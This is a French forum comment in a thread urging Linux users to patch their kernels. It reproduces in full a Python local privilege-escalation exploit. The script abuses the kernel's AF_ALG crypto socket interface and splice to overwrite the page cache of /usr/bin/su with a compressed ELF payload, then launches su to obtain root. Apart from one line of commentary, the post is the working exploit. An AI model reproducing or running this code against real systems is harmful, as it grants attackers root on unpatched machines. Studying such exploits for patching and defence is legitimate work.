• [^] # Re: Mettez d'urgence vos kernels à jour !

    Posté par . En réponse au lien [Copy Fail] The same 732-byte Python script roots every Linux distribution shipped since 2017.. Évalué à 9 (+7/-0).

    #!/usr/bin/env python3
    import os
    import zlib
    import socket
    def d(x):
     return bytes.fromhex(x)
    def c(f, t, c):
     # AF_ALG is a Linux-only socket based interface to Kernel cryptography.
     # https://docs.kernel.org/crypto/userspace-if.html
     a = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
     a.bind(("aead", "authencesn(hmac(sha256), cbc(aes))"))
     a.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, d('0800010000000010'+'0'*64))
     a.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4)
     u, _ = a.accept()
     u.sendmsg_afalg([b"A"*4+c],
     op=socket.ALG_OP_DECRYPT,
     iv=b'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
     assoclen=8,
     flags=socket.MSG_MORE)
     r, w = os.pipe()
     os.splice(f, w, t + 4, offset_src=0)
     os.splice(r, u.fileno(), t + 4)
     try:
     u.recv(8+t)
     except:
     0
    # This is an ELF program
    e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
    f = os.open("/usr/bin/su", 0)
    i = 0
    while i < len(e):
     c(f, i, e[i:i+4])
     i += 4
    os.system("su")

    Même en plus clair, faut être un peu pointu.